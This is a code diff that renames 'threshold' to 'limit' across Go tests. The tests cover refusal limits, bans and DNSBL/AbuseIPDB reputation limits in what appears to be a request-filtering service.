@@ -65,12 +65,12 @@ func startForRefusalLimit(
|
|||||||
return startWithClock(t, "", settings)
|
return startWithClock(t, "", settings)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRefusalLimitBreaksAtOneOverTheThreshold(t *testing.T) {
|
func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
name string
|
name string
|
||||||
// refusals are four, one over the threshold of three.
|
// refusals are four, one over the limit of three.
|
||||||
refusals []refused
|
refusals []refused
|
||||||
// nextAction is the action of the client's next request: the next
|
// nextAction is the action of the client's next request: the next
|
||||||
// request after a ban for a ban rule makes it permanent.
|
// request after a ban for a ban rule makes it permanent.
|
||||||
@@ -232,7 +232,7 @@ func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
|||||||
tagLimitPercent: countryTagDEHalf,
|
tagLimitPercent: countryTagDEHalf,
|
||||||
})
|
})
|
||||||
|
|
||||||
// Half of the threshold would be one, which the second refusal is over.
|
// Half of the limit would be one, which the second refusal is over.
|
||||||
for range 2 {
|
for range 2 {
|
||||||
line := blockRule.send(s, fromDE)
|
line := blockRule.send(s, fromDE)
|
||||||
if line.LimitHit != "" {
|
if line.LimitHit != "" {
|
||||||
@@ -277,7 +277,7 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// The first refusal is one, not over the threshold.
|
// The first refusal is one, not over the limit.
|
||||||
line := blockRule.send(s, client)
|
line := blockRule.send(s, client)
|
||||||
if line.LimitHit != "" {
|
if line.LimitHit != "" {
|
||||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
||||||
@@ -297,19 +297,19 @@ func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
threshold string
|
limit string
|
||||||
// broken is whether the 31st refusal breaks the refusal limit.
|
// broken is whether the 31st refusal breaks the refusal limit.
|
||||||
broken bool
|
broken bool
|
||||||
}{
|
}{
|
||||||
{"", true},
|
{"", true},
|
||||||
{off, false},
|
{off, false},
|
||||||
} {
|
} {
|
||||||
t.Run(refusalsLimitPerMinute+"="+tc.threshold, func(t *testing.T) {
|
t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
|
env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
|
||||||
if tc.threshold != "" {
|
if tc.limit != "" {
|
||||||
env[refusalsLimitPerMinute] = tc.threshold
|
env[refusalsLimitPerMinute] = tc.limit
|
||||||
}
|
}
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", env)
|
s, _, _ := startWithClock(t, "", env)
|
||||||
|
|||||||
@@ -617,7 +617,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
func TestDNSBLAbuseIPDBLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
||||||
t *testing.T,
|
t *testing.T,
|
||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|||||||
Reference in new issue
Block a user